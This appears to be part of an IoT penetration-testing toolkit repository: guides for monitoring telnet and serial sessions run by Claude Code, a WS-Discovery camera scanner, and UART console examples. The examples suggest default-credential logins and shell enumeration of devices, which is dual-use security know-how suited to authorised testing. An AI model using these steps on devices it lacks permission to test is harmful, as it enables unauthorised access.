9, 249 | "high": 7, 250 | "medium": 5, 251 | "low": 3, 252 | "info": 1 253 | } 254 | } 255 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/OBSERVING_SESSIONS.md: -------------------------------------------------------------------------------- 1 | # Observing Telnet Sessions in Real-Time 2 | 3 | This guide explains how to monitor active telnet sessions while Claude Code is working, allowing you to observe all commands and responses in real-time without interfering with the automation. 4 | 5 | ## Why Monitor Sessions? 6 | 7 | Monitoring active sessions is valuable for: 8 | - **Learning**: See exactly what commands Claude is running 9 | - **Security**: Verify no unintended commands are executed 10 | - **Debugging**: Identify issues with command execution or parsing 11 | - **Documentation**: Capture complete session transcripts for reports 12 | - **Trust**: Transparency in automation - see everything that happens 13 | 14 | ## Default Session Logging 15 | 16 | By default, the telnet helper script logs all I/O to `/tmp/telnet_session.log`. This happens automatically without any additional flags. 17 | 18 | ### Quick Start: Watch Default Log 19 | 20 | ```bash 21 | # In a separate terminal window or tmux/screen pane: 22 | tail -f /tmp/telnet_session.log 23 | ``` 24 | 25 | That's it! You'll now see all telnet traffic in real-time. 26 | 27 | ## Custom Log Locations 28 | 29 | You can specify a custom log file location: 30 | 31 | ```bash 32 | # Terminal 1: Run commands with custom logfile 33 | python3 .claude/skills/telnetshell/telnet_helper.py \ 34 | --host 192.168.1.100 \ 35 | --port 2222 \ 36 | --logfile /tmp/my_session.log \ 37 | --command "ls /" 38 | 39 | # Terminal 2: Watch the custom logfile 40 | tail -f /tmp/my_session.log 41 | ``` 42 | 43 | ## Multi-Terminal Setup 44 | 45 | ### Using tmux (Recommended) 46 | 47 | ```bash 48 | # Create a new tmux session 49 | tmux new -s iot_pentest 50 | 51 | # Split the window horizontally (Ctrl-b then ") 52 | # Or split vertically (Ctrl-b then %) 53 | 54 | # In the top pane: Run your commands 55 | python3 .claude/skills/telnetshell/telnet_helper.py \ 56 | --host 192.168.1.100 \ 57 | --port 2222 \ 58 | --interactive 59 | 60 | # In the bottom pane (Ctrl-b then arrow key to switch): Watch the log 61 | tail -f /tmp/telnet_session.log 62 | 63 | # Navigate between panes: Ctrl-b then arrow keys 64 | # Detach from session: Ctrl-b then d 65 | # Reattach to session: tmux attach -t iot_pentest 66 | ``` 67 | 68 | ### Using screen 69 | 70 | ```bash 71 | # Create a new screen session 72 | screen -S iot_pentest 73 | 74 | # Create a split (Ctrl-a then S) 75 | # Move to the new region (Ctrl-a then TAB) 76 | # Create a new shell in that region (Ctrl-a then c) 77 | 78 | # In the top pane: Run your commands 79 | python3 .claude/skills/telnetshell/telnet_helper.py \ 80 | --host 192.168.1.100 \ 81 | --port 2222 \ 82 | --interactive 83 | 84 | # In the bottom pane: Watch the log 85 | tail -f /tmp/telnet_session.log 86 | 87 | # Switch between panes: Ctrl-a then TAB 88 | # Detach: Ctrl-a then d 89 | # Reattach: screen -r iot_pentest 90 | ``` 91 | 92 | ### Using separate terminal windows 93 | 94 | Simply open two terminal windows side-by-side: 95 | 96 | **Window 1:** 97 | ```bash 98 | python3 .claude/skills/telnetshell/telnet_helper.py \ 99 | --host 192.168.1.100 \ 100 | --port 2222 \ 101 | --interactive 102 | ``` 103 | 104 | **Window 2:** 105 | ```bash 106 | tail -f /tmp/telnet_session.log 107 | ``` 108 | 109 | ## What You'll See in the Log 110 | 111 | The session log captures ALL telnet traffic, including: 112 | 113 | 1. **Connection establishment** 114 | ``` 115 | ============================================================ 116 | Session started: 2025-11-14T00:26:12.273582 117 | Target: 192.168.1.100:2222 118 | ============================================================ 119 | Trying 192.168.1.100... 120 | Connected to 192.168.1.100. 121 | Escape character is '^]'. 122 | ``` 123 | 124 | 2. **Prompts** 125 | ``` 126 | / # 127 | ``` 128 | 129 | 3. **Commands sent** (with echo) 130 | ``` 131 | / # ls / 132 | ``` 133 | 134 | 4. **Command output** (with ANSI color codes if present) 135 | ``` 136 | bin gm mnt sys 137 | boot.sh init proc tmp 138 | ... 139 | ``` 140 | 141 | 5. **New prompts** (after command completes) 142 | ``` 143 | / # 144 | ``` 145 | 146 | 6. **Session termination** 147 | ``` 148 | ============================================================ 149 | Session ended: 2025-11-14T00:26:27.232032 150 | ============================================================ 151 | ``` 152 | 153 | ## Advanced Monitoring 154 | 155 | ### Filter Specific Patterns 156 | 157 | ```bash 158 | # Watch only commands (lines starting with common prompts) 159 | tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])' 160 | 161 | # Watch for errors 162 | tail -f /tmp/telnet_session.log | grep -i error 163 | 164 | # Watch for specific keywords 165 | tail -f /tmp/telnet_session.log | grep -i password 166 | ``` 167 | 168 | ### Colorize Output 169 | 170 | ```bash 171 | # Use ccze for colorized log viewing 172 | tail -f /tmp/telnet_session.log | ccze -A 173 | 174 | # Use colordiff (if available) 175 | tail -f /tmp/telnet_session.log | colordiff 176 | ``` 177 | 178 | ### Save Timestamped Sessions 179 | 180 | ```bash 181 | # Create a timestamped logfile 182 | TIMESTAMP=$(date +%Y%m%d_%H%M%S) 183 | LOGFILE="/tmp/telnet_${TIMESTAMP}.log" 184 | 185 | python3 .claude/skills/telnetshell/telnet_helper.py \ 186 | --host 192.168.1.100 \ 187 | --port 2222 \ 188 | --logfile "$LOGFILE" \ 189 | --interactive 190 | 191 | # Watch it 192 | tail -f "$LOGFILE" 193 | ``` 194 | 195 | ### Multiple Sessions 196 | 197 | If you're working with multiple devices simultaneously: 198 | 199 | ```bash 200 | # Device 1 201 | python3 .claude/skills/telnetshell/telnet_helper.py \ 202 | --host 192.168.1.100 \ 203 | --logfile /tmp/device1.log \ 204 | --interactive & 205 | 206 | # Device 2 207 | python3 .claude/skills/telnetshell/telnet_helper.py \ 208 | --host 192.168.1.200 \ 209 | --logfile /tmp/device2.log \ 210 | --interactive & 211 | 212 | # Watch both logs 213 | tail -f /tmp/device1.log /tmp/device2.log 214 | ``` 215 | 216 | ## Log Rotation 217 | 218 | For long sessions, you may want to rotate logs: 219 | 220 | ```bash 221 | # Watch with automatic rotation (creates numbered backup files) 222 | tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log & 223 | 224 | # Or use logrotate configuration 225 | # /etc/logrotate.d/telnet-sessions: 226 | /tmp/telnet_session.log { 227 | size 10M 228 | rotate 5 229 | compress 230 | missingok 231 | notifempty 232 | } 233 | ``` 234 | 235 | ## Tips and Best Practices 236 | 237 | 1. **Always monitor when testing in production**: See exactly what's being executed 238 | 2. **Keep logs for reporting**: Session logs are excellent documentation 239 | 3. **Use descriptive logfile names**: Include device IP, date, and purpose 240 | 4. **Review logs after sessions**: Catch any issues or interesting findings 241 | 5. **grep is your friend**: Filter large logs for specific information 242 | 243 | ## Troubleshooting Observation 244 | 245 | **Problem: tail -f shows nothing** 246 | - Check if the logfile exists: `ls -la /tmp/telnet_session.log` 247 | - Check if the telnet session is actually running 248 | - Verify the logfile path matches what you specified 249 | 250 | **Problem: Output is garbled in the log** 251 | - This is normal - ANSI color codes and control characters appear in logs 252 | - Use `cat` or `less -R` to view the log file properly 253 | - The telnet helper cleans this in its output, but raw logs contain everything 254 | 255 | **Problem: Log file grows too large** 256 | - Implement log rotation (see above) 257 | - Clear the log periodically: `> /tmp/telnet_session.log` 258 | - Use session-specific logfiles instead of one shared log 259 | 260 | ## Example: Complete Monitoring Workflow 261 | 262 | Here's a complete example of setting up and monitoring a telnet session: 263 | 264 | ```bash 265 | # Step 1: Set up tmux with split panes 266 | tmux new -s camera_pentest 267 | # Press Ctrl-b then " to split horizontally 268 | 269 | # Step 2 (top pane): Create a timestamped logfile and start interactive session 270 | LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log" 271 | echo "Logfile: $LOGFILE" 272 | python3 .claude/skills/telnetshell/telnet_helper.py \ 273 | --host 192.168.1.100 \ 274 | --port 2222 \ 275 | --logfile "$LOGFILE" \ 276 | --interactive 277 | 278 | # Step 3 (bottom pane - Ctrl-b then down arrow): Watch the log 279 | tail -f /tmp/telnet_session.log 280 | 281 | # Step 4: Work in the top pane, observe in the bottom pane 282 | 283 | # Step 5: When done, review the full log 284 | less -R "$LOGFILE" 285 | 286 | # Step 6: Archive for reporting 287 | cp "$LOGFILE" ~/reports/camera_pentest_session.log 288 | ``` 289 | 290 | ## Integration with Claude Code 291 | 292 | When Claude Code uses the telnetshell skill: 293 | 294 | 1. Claude will ALWAYS specify `--logfile /tmp/telnet_session.log` (or custom path) 295 | 2. You can monitor by running `tail -f /tmp/telnet_session.log` in another terminal 296 | 3. All commands executed by Claude will be logged 297 | 4. You can interrupt if you see any concerning commands 298 | 5. The complete session is saved for review 299 | 300 | This transparency ensures you're always aware of what automation is doing on your behalf. 301 | -------------------------------------------------------------------------------- /.claude/skills/picocom/OBSERVING_SESSIONS.md: -------------------------------------------------------------------------------- 1 | # Observing Serial Console Sessions 2 | 3 | This guide explains how to monitor and observe what's happening on the serial console in real-time while the helper script or skill is interacting with the device. 4 | 5 | ## Method 1: Built-in Logging (Easiest - RECOMMENDED) 6 | 7 | The `serial_helper.py` script now includes built-in session logging that captures all I/O in real-time. 8 | 9 | ### Usage 10 | 11 | **Terminal 1 - Run the helper script with logging:** 12 | ```bash 13 | python3 .claude/skills/picocom/serial_helper.py \ 14 | --device /dev/ttyUSB0 \ 15 | --prompt "User@[^>]+>" \ 16 | --logfile /tmp/serial_session.log \ 17 | --interactive 18 | ``` 19 | 20 | **Terminal 2 - Watch the log in real-time:** 21 | ```bash 22 | tail -f /tmp/serial_session.log 23 | ``` 24 | 25 | ### What Gets Logged 26 | 27 | The logfile captures: 28 | - Session start/end timestamps 29 | - All data sent to the device (commands) 30 | - All data received from the device (responses, prompts, echoes) 31 | - Raw I/O exactly as it appears on the wire 32 | 33 | ### Example Log Output 34 | 35 | ``` 36 | ============================================================ 37 | Session started: 2025-10-19T23:20:27.384436 38 | Device: /dev/ttyUSB0 @ 115200 baud 39 | ============================================================ 40 | 41 | 42 | User@/root> 43 | User@/root>date 44 | date 45 | Thu Dec 1 00:10:11 GMT+5 2011 46 | 47 | User@/root> 48 | User@/root>ifconfig 49 | ifconfig 50 | eth0 Link encap:Ethernet HWaddr E4:F1:4C:77:66:08 51 | inet addr:192.168.1.27 Bcast:192.168.1.255 Mask:255.255.255.0 52 | [...] 53 | 54 | ============================================================ 55 | Session ended: 2025-10-19T23:20:29.130706 56 | ============================================================ 57 | ``` 58 | 59 | ### Advantages 60 | 61 | ✅ No additional setup required 62 | ✅ Works with all modes (single command, interactive, batch) 63 | ✅ Doesn't interfere with the serial connection 64 | ✅ Can be tailed from another terminal 65 | ✅ Captures exact I/O timing 66 | ✅ Persistent record for later analysis 67 | 68 | ### Limitations 69 | 70 | ❌ Not truly real-time (buffered, but line-buffered so minimal delay) 71 | ❌ Requires specifying logfile when starting 72 | 73 | ## Method 2: Using socat for Port Mirroring (Advanced) 74 | 75 | For true real-time observation or when you need multiple simultaneous connections, use `socat` to create a virtual serial port that mirrors the real one. 76 | 77 | ### Setup 78 | 79 | **Terminal 1 - Create virtual port with socat:** 80 | ```bash 81 | sudo socat -d -d \ 82 | PTY,raw,echo=0,link=/tmp/vserial0 \ 83 | PTY,raw,echo=0,link=/tmp/vserial1 84 | ``` 85 | 86 | This creates two linked virtual serial ports that mirror each other. 87 | 88 | **Terminal 2 - Bridge real device to one virtual port:** 89 | ```bash 90 | sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0 91 | ``` 92 | 93 | **Terminal 3 - Use helper script on the bridge:** 94 | ```bash 95 | python3 .claude/skills/picocom/serial_helper.py \ 96 | --device /tmp/vserial1 \ 97 | --prompt "User@[^>]+>" \ 98 | --interactive 99 | ``` 100 | 101 | **Terminal 4 - Observe on picocom:** 102 | ```bash 103 | picocom -b 115200 --nolock --echo --omap crlf /tmp/vserial0 104 | ``` 105 | 106 | ### Advantages 107 | 108 | ✅ True real-time observation 109 | ✅ Multiple processes can "spy" on the connection 110 | ✅ Can use picocom with full interactive features 111 | ✅ Most flexible approach 112 | 113 | ### Limitations 114 | 115 | ❌ Complex setup with multiple terminals 116 | ❌ Requires socat installed 117 | ❌ Requires root/sudo for some operations 118 | ❌ More potential for errors 119 | 120 | ## Method 3: Using screen with Logging 121 | 122 | If you prefer `screen` over `picocom`, you can use its built-in logging feature. 123 | 124 | ### Usage 125 | 126 | **Start screen with logging:** 127 | ```bash 128 | screen -L -Logfile /tmp/serial_screen.log /dev/ttyUSB0 115200 129 | ``` 130 | 131 | Then in another terminal: 132 | ```bash 133 | tail -f /tmp/serial_screen.log 134 | ``` 135 | 136 | ### Advantages 137 | 138 | ✅ Built into screen 139 | ✅ Simple to use 140 | ✅ Good for manual interaction 141 | 142 | ### Limitations 143 | 144 | ❌ Not suitable for automated scripting 145 | ❌ Less control over output format 146 | ❌ Requires screen (not picocom) 147 | 148 | ## Method 4: Direct Device File Monitoring (Read-Only Spy) 149 | 150 | For read-only observation without interfering with the helper script: 151 | 152 | **Terminal 1 - Run helper script normally:** 153 | ```bash 154 | python3 .claude/skills/picocom/serial_helper.py \ 155 | --device /dev/ttyUSB0 \ 156 | --interactive 157 | ``` 158 | 159 | **Terminal 2 - Spy on the device (read-only):** 160 | ```bash 161 | # This reads without opening the port exclusively 162 | cat /dev/ttyUSB0 | tee /tmp/spy.log 163 | ``` 164 | 165 | ### Warnings 166 | 167 | ⚠️ This method is unreliable: 168 | - May miss data that was read by the helper script 169 | - Can cause timing issues 170 | - Not recommended for production use 171 | - **Only use for debugging if other methods don't work** 172 | 173 | ## Comparison Matrix 174 | 175 | | Method | Real-time | Easy Setup | Multi-Observer | Reliable | Recommended | 176 | |--------|-----------|------------|----------------|----------|-------------| 177 | | Built-in Logging | Near | ✅ Yes | Limited | ✅ Yes | ⭐ **Best** | 178 | | socat Mirror | ✅ Yes | ❌ Complex | ✅ Yes | ✅ Yes | Advanced | 179 | | screen -L | Near | ✅ Yes | Limited | ✅ Yes | Manual use | 180 | | cat spy | ✅ Yes | ✅ Yes | ✅ Yes | ❌ No | ⚠️ Last resort | 181 | 182 | ## Recommended Workflow 183 | 184 | ### For Claude Code Skill Usage 185 | 186 | When Claude is using the skill to interact with your device: 187 | 188 | 1. **Before starting**, set up a log watcher: 189 | ```bash 190 | # Terminal 1 191 | touch /tmp/device_session.log 192 | tail -f /tmp/device_session.log 193 | ``` 194 | 195 | 2. **Tell Claude to use logging**: 196 | ``` 197 | Please enumerate the device and log the session to /tmp/device_session.log 198 | ``` 199 | 200 | 3. **Watch Terminal 1** to see real-time I/O 201 | 202 | ### For Manual Debugging 203 | 204 | 1. Use the interactive mode with logging: 205 | ```bash 206 | python3 .claude/skills/picocom/serial_helper.py \ 207 | --device /dev/ttyUSB0 \ 208 | --prompt "User@[^>]+>" \ 209 | --logfile /tmp/debug.log \ 210 | --debug \ 211 | --interactive 212 | ``` 213 | 214 | 2. In another terminal, watch the log: 215 | ```bash 216 | tail -f /tmp/debug.log 217 | ``` 218 | 219 | 3. Debug output goes to stderr, log goes to the file 220 | 221 | ### For Multiple Simultaneous Connections 222 | 223 | If you need both automated scripting AND manual interaction: 224 | 225 | 1. Set up socat bridge (see Method 2) 226 | 2. Run helper script on one virtual port 227 | 3. Use picocom on the other virtual port 228 | 4. Both can interact simultaneously 229 | 230 | ## Example: Watching Claude Enumerate a Device 231 | 232 | **Terminal 1 - Start log watcher:** 233 | ```bash 234 | tail -f /tmp/device_enum.log 235 | ``` 236 | 237 | **Terminal 2 - Run Claude Code and tell it:** 238 | ``` 239 | Please enumerate the Uniview camera using the serial helper with 240 | --logfile /tmp/device_enum.log so I can watch what's happening 241 | ``` 242 | 243 | **Terminal 1 Output (real-time):** 244 | ``` 245 | ============================================================ 246 | Session started: 2025-10-19T23:30:15.123456 247 | Device: /dev/ttyUSB0 @ 115200 baud 248 | ============================================================ 249 | 250 | 251 | User@/root> 252 | User@/root>help 253 | help 254 | logout 255 | exit 256 | update 257 | [... you see everything as it happens ...] 258 | ``` 259 | 260 | ## Troubleshooting 261 | 262 | ### Log file not updating 263 | 264 | **Problem:** `tail -f` shows nothing 265 | 266 | **Solutions:** 267 | ```bash 268 | # Make sure the file exists first 269 | touch /tmp/serial_session.log 270 | tail -f /tmp/serial_session.log 271 | 272 | # Check if the helper script is actually writing 273 | ls -lh /tmp/serial_session.log 274 | 275 | # Try unbuffered tail 276 | tail -f -n +1 /tmp/serial_session.log 277 | ``` 278 | 279 | ### Permission denied on /dev/ttyUSB0 280 | 281 | **Problem:** Multiple processes trying to access device 282 | 283 | **Solutions:** 284 | ```bash 285 | # Check what's using it 286 | fuser /dev/ttyUSB0 287 | 288 | # Add your user to dialout group 289 | sudo usermod -a -G dialout $USER 290 | 291 | # Use --nolock option if needed (already default in helper) 292 | ``` 293 | 294 | ### socat "device busy" error 295 | 296 | **Problem:** Device already opened 297 | 298 | **Solutions:** 299 | ```bash 300 | # Kill all processes using the device 301 | sudo fuser -k /dev/ttyUSB0 302 | 303 | # Wait a moment 304 | sleep 1 305 | 306 | # Try socat again 307 | ``` 308 | 309 | ## Best Practices 310 | 311 | 1. **Always use logging** for important sessions - you can analyze them later 312 | 2. **Use descriptive log filenames** with timestamps: 313 | ```bash 314 | --logfile "/tmp/device_$(date +%Y%m%d_%H%M%S).log" 315 | ``` 316 | 317 | 3. **Keep logs for documentation** - they're valuable for reports and analysis 318 | 319 | 4. **Use --debug with --logfile** to get both debug info and I/O logs: 320 | ```bash 321 | python3 .claude/skills/picocom/serial_helper.py \ 322 | --device /dev/ttyUSB0 \ 323 | --command "help" \ 324 | --logfile session.log \ 325 | --debug 2>&1 | tee debug.txt 326 | ``` 327 | 328 | 5. **Compress old logs** to save space: 329 | ```bash 330 | gzip /tmp/old_session.log 331 | ``` 332 | 333 | ## Security Considerations 334 | 335 | ⚠️ **Log files may contain sensitive information:** 336 | - Passwords entered during sessions 337 | - Cryptographic keys or tokens 338 | - Network configurations 339 | - Device identifiers 340 | 341 | **Recommendations:** 342 | - Store logs in secure locations (not /tmp for sensitive data) 343 | - Use proper file permissions: 344 | ```bash 345 | chmod 600 /tmp/sensitive_session.log 346 | ``` 347 | - Shred logs after analysis: 348 | ```bash 349 | shred -u /tmp/sensitive_session.log 350 | ``` 351 | - Never commit logs to public repositories 352 | 353 | ## Summary 354 | 355 | **For most use cases:** Use the built-in `--logfile` option and `tail -f` in another terminal. It's simple, reliable, and works well. 356 | 357 | **For advanced needs:** Use socat to create a virtual serial port mirror for true real-time observation and multi-process access. 358 | 359 | **Key Command:** 360 | ```bash 361 | # Start with logging 362 | python3 .claude/skills/picocom/serial_helper.py \ 363 | --device /dev/ttyUSB0 \ 364 | --prompt "User@[^>]+>" \ 365 | --logfile /tmp/session.log \ 366 | --interactive 367 | 368 | # Watch in another terminal 369 | tail -f /tmp/session.log 370 | ``` 371 | -------------------------------------------------------------------------------- /tools/iothackbot/core/wsdiscovery_core.py: -------------------------------------------------------------------------------- 1 | """ 2 | Core wsdiscovery functionality - WS-Discovery protocol scanning and device detection. 3 | Separated from CLI logic for automation and chaining. 4 | """ 5 | 6 | import socket 7 | import time 8 | import struct 9 | import uuid 10 | import xml.dom.minidom 11 | import threading 12 | import xml.etree.ElementTree as ET 13 | from typing import List, Dict, Tuple, Any, Optional 14 | 15 | 16 | def send_message(target_ip: str, xml_template: str, timeout: float = 5, response_multicast: bool = True, 17 | thread_id: int = 0, verbose: bool = False) -> List[Tuple[Tuple[str, int], bytes]]: 18 | """ 19 | Send a WS-Discovery message and listen for responses. 20 | Returns list of (address, response_data) tuples. 21 | """ 22 | multicast_group = '239.255.255.250' 23 | message_id = f"urn:uuid:{uuid.uuid4()}" 24 | 25 | # Replace placeholders in template 26 | message_xml = xml_template.format(message_id=message_id) 27 | message = message_xml.encode('utf-8') 28 | 29 | # Create UDP socket 30 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 31 | 32 | # Enable broadcast if target is broadcast address 33 | if target_ip == '255.255.255.255' or target_ip == '': 34 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 35 | 36 | # Determine if we need to bind to 3702 and join multicast 37 | bind_port = 3702 if target_ip.startswith('239.') or response_multicast else 0 38 | try: 39 | sock.bind(('', bind_port)) 40 | except OSError: 41 | return [] 42 | 43 | # Join multicast group if target is multicast or response_multicast is True 44 | if target_ip.startswith('239.') or response_multicast: 45 | mreq = struct.pack("4sl", socket.inet_aton(multicast_group), socket.INADDR_ANY) 46 | sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 47 | 48 | # Send the message 49 | try: 50 | sock.sendto(message, (target_ip, 3702)) 51 | except (socket.gaierror, OSError): 52 | sock.close() 53 | return [] 54 | 55 | # Set timeout for receiving 56 | sock.settimeout(1) 57 | 58 | # Listen for responses 59 | responses = [] 60 | start_time = time.time() 61 | while time.time() - start_time < timeout: 62 | try: 63 | data, addr = sock.recvfrom(4096) 64 | responses.append((addr, data)) 65 | except socket.timeout: 66 | continue 67 | except OSError: 68 | break 69 | 70 | sock.close() 71 | return responses 72 | 73 | 74 | def fuzz_ws_discovery(target_ip: str, timeout: float = 5, response_multicast: bool = True, 75 | verbose: bool = False, parallel: bool = True) -> List[Tuple[Tuple[str, int], bytes]]: 76 | """ 77 | Send various WS-Discovery messages to fuzz device implementations. 78 | Returns all responses received. 79 | """ 80 | # WS-Discovery 1.0 Probe (generic) 81 | probe_10 = ''' 82 | 84 | 85 | http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe 86 | {message_id} 87 | 88 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 89 | 90 | urn:schemas-xmlsoap-org:ws:2005:04:discovery 91 | 92 | 93 | 94 | 95 | ''' 96 | 97 | # WS-Discovery 1.0 Probe with ONVIF Types 98 | probe_10_onvif_types = ''' 99 | 101 | 102 | http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe 103 | {message_id} 104 | 105 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 106 | 107 | urn:schemas-xmlsoap-org:ws:2005:04:discovery 108 | 109 | 110 | 111 | dn:NetworkVideoTransmitter 112 | 113 | 114 | ''' 115 | 116 | # Hello message (announcement) 117 | hello = ''' 118 | 120 | 121 | http://schemas.xmlsoap.org/ws/2005/04/discovery/Hello 122 | {message_id} 123 | 124 | http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 125 | 126 | urn:schemas-xmlsoap-org:ws:2005:04:discovery 127 | 128 | 129 | 130 | 131 | {message_id} 132 | 133 | dn:NetworkVideoTransmitter 134 | onvif://www.onvif.org 135 | http://example.com 136 | 1 137 | 138 | 139 | ''' 140 | 141 | # List of messages to send 142 | messages = [ 143 | ("WS-Discovery 1.0 Probe", probe_10), 144 | ("WS-Discovery 1.0 Probe with ONVIF Types", probe_10_onvif_types), 145 | ("Hello Announcement", hello), 146 | ] 147 | 148 | all_responses = [] 149 | 150 | if parallel: 151 | threads = [] 152 | for i, (name, xml) in enumerate(messages): 153 | t = threading.Thread( 154 | target=lambda n=name, x=xml, tid=i: all_responses.extend( 155 | send_message(target_ip, x, timeout, response_multicast, tid, verbose) 156 | ), 157 | name=f"Fuzz-{i}" 158 | ) 159 | threads.append(t) 160 | t.start() 161 | 162 | for t in threads: 163 | t.join() 164 | else: 165 | for i, (name, xml) in enumerate(messages): 166 | responses = send_message(target_ip, xml, timeout, response_multicast, thread_id=i, verbose=verbose) 167 | all_responses.extend(responses) 168 | 169 | return all_responses 170 | 171 | 172 | def parse_ws_discovery_response(response_data: bytes) -> Dict[str, Any]: 173 | """Parse WS-Discovery response XML and extract device information.""" 174 | try: 175 | response_str = response_data.decode('utf-8', errors='ignore') 176 | root = ET.fromstring(response_str) 177 | 178 | # Handle different namespaces 179 | ns = { 180 | 'soap': 'http://www.w3.org/2003/05/soap-envelope', 181 | 'wsa': 'http://www.w3.org/2005/08/addressing', 182 | 'd': 'http://schemas.xmlsoap.org/ws/2005/04/discovery', 183 | 'tns': 'http://schemas.xmlsoap.org/ws/2005/04/discovery' 184 | } 185 | 186 | device_info = {} 187 | 188 | # Look for ProbeMatches 189 | probe_matches = (root.findall('.//d:ProbeMatches/d:ProbeMatch', ns) or 190 | root.findall('.//tns:ProbeMatches/tns:ProbeMatch', ns)) 191 | for probe_match in probe_matches: 192 | # Endpoint Reference 193 | epr = (probe_match.find('.//wsa:Address', ns) or 194 | probe_match.find('wsa:EndpointReference/wsa:Address', ns)) 195 | if epr is not None: 196 | device_info['endpoint_reference'] = epr.text 197 | 198 | # Types 199 | types_elem = probe_match.find('d:Types', ns) or probe_match.find('tns:Types', ns) 200 | if types_elem is not None: 201 | device_info['types'] = types_elem.text 202 | 203 | # Scopes 204 | scopes_elem = probe_match.find('d:Scopes', ns) or probe_match.find('tns:Scopes', ns) 205 | if scopes_elem is not None: 206 | device_info['scopes'] = scopes_elem.text 207 | 208 | # XAddrs 209 | xaddrs_elem = probe_match.find('d:XAddrs', ns) or probe_match.find('tns:XAddrs', ns) 210 | if xaddrs_elem is not None: 211 | device_info['xaddrs'] = xaddrs_elem.text 212 | 213 | # Metadata Version 214 | metadata_elem = (probe_match.find('d:MetadataVersion', ns) or 215 | probe_match.find('tns:MetadataVersion', ns)) 216 | if metadata_elem is not None: 217 | device_info['metadata_version'] = metadata_elem.text 218 | 219 | # Also check for Hello messages 220 | hello = root.find('.//d:Hello', ns) or root.find('.//tns:Hello', ns) 221 | if hello is not None: 222 | # Similar parsing for Hello messages 223 | epr = (hello.find('.//wsa:Address', ns) or 224 | hello.find('wsa:EndpointReference/wsa:Address', ns)) 225 | if epr is not None: 226 | device_info['endpoint_reference'] = epr.text 227 | 228 | types_elem = hello.find('d:Types', ns) or hello.find('tns:Types', ns) 229 | if types_elem is not None: 230 | device_info['types'] = types_elem.text 231 | 232 | scopes_elem = hello.find('d:Scopes', ns) or hello.find('tns:Scopes', ns) 233 | if scopes_elem is not None: 234 | device_info['scopes'] = scopes_elem.text 235 | 236 | xaddrs_elem = hello.find('d:XAddrs', ns) or hello.find('tns:XAddrs', ns) 237 | if xaddrs_elem is not None: 238 | device_info['xaddrs'] = xaddrs_elem.text 239 | 240 | return device_info 241 | 242 | except (ET.ParseError, UnicodeDecodeError): 243 | return {} 244 | 245 | 246 | def discover_devices(target_ip: str, timeout: float = 5, verbose: bool = False) -> Dict[str, Any]: 247 | """Core WS-Discovery device discovery logic.""" 248 | # Send fuzz messages and collect responses 249 | all_responses = fuzz_ws_discovery(target_ip, timeout=timeout, verbose=verbose) 250 | 251 | # Parse and deduplicate discovered devices 252 | discovered_devices = [] 253 | unique_devices = set() 254 | 255 | for addr, response_data in all_responses: 256 | device_info = parse_ws_discovery_response(response_data) 257 | if device_info: 258 | device_key = (addr[0], device_info.get('endpoint_reference', 'unknown')) 259 | if device_key not in unique_devices: 260 | unique_devices.add(device_key) 261 | discovered_devices.append({ 262 | 'ip': addr[0], 263 | 'port': addr[1], 264 | **device_info 265 | }) 266 | 267 | return { 268 | 'devices_found': len(discovered_devices), 269 | 'devices': discovered_devices, 270 | 'total_responses': len(all_responses), 271 | 'target_ip': target_ip 272 | } 273 | 274 | 275 | class WSDiscoveryTool: 276 | """WS-Discovery tool implementation.""" 277 | 278 | @property 279 | def name(self) -> str: 280 | return "wsdiscovery" 281 | 282 | @property 283 | def description(self) -> str: 284 | return "WS-Discovery protocol scanner for network device detection" 285 | 286 | def run(self, config) -> 'ToolResult': 287 | """Execute WS-Discovery scan.""" 288 | from .interfaces import ToolResult 289 | import time 290 | 291 | start_time = time.time() 292 | 293 | try: 294 | timeout = config.timeout or 5.0 295 | verbose = config.verbose 296 | 297 | # Perform discovery 298 | result = discover_devices(config.input_path, timeout=timeout, verbose=verbose) 299 | 300 | execution_time = time.time() - start_time 301 | 302 | return ToolResult( 303 | success=True, 304 | data=result, 305 | errors=[], 306 | metadata={ 307 | 'devices_found': result['devices_found'], 308 | 'total_responses': result['total_responses'], 309 | 'target_ip': result['target_ip'] 310 | }, 311 | execution_time=execution_time 312 | ) 313 | 314 | except Exception as e: 315 | execution_time = time.time() - start_time 316 | return ToolResult( 317 | success=False, 318 | data=None, 319 | errors=[str(e)], 320 | metadata={'target_ip': config.input_path}, 321 | execution_time=execution_time 322 | ) 323 | -------------------------------------------------------------------------------- /.claude/skills/picocom/examples.md: -------------------------------------------------------------------------------- 1 | # IoT UART Console Examples 2 | 3 | This file contains practical examples of using the picocom skill for IoT penetration testing. 4 | 5 | ## Example 1: Basic Connection and Enumeration 6 | 7 | **Scenario**: You have a USB-to-serial adapter connected to an unknown IoT device. 8 | 9 | **Steps**: 10 | 11 | 1. **Identify the serial device**: 12 | ```bash 13 | # Check for USB serial devices 14 | ls -l /dev/ttyUSB* /dev/ttyACM* 15 | 16 | # Or use dmesg to see recently connected devices 17 | dmesg | tail -20 18 | ``` 19 | 20 | 2. **Connect with picocom**: 21 | ```bash 22 | # Start with defaults (115200 baud, /dev/ttyUSB0) 23 | picocom -b 115200 --nolock --echo --logfile device_session.log /dev/ttyUSB0 24 | ``` 25 | 26 | 3. **Interact with the device**: 27 | - Press Enter a few times to see if you get a prompt 28 | - If you see a login prompt, try default credentials (root/root, admin/admin) 29 | - If you get a shell, start enumeration 30 | 31 | 4. **Basic enumeration commands**: 32 | ```bash 33 | # Who am I? 34 | id 35 | whoami 36 | 37 | # System information 38 | uname -a 39 | cat /proc/version 40 | 41 | # Check if using BusyBox (most IoT devices do) 42 | busybox 43 | busybox --list 44 | 45 | # Network configuration 46 | ifconfig -a 47 | ip addr show 48 | 49 | # Running processes 50 | ps aux 51 | ``` 52 | 53 | 5. **BusyBox Detection** (most IoT devices): 54 | ```bash 55 | # Most IoT shells use BusyBox - a minimal Unix toolkit 56 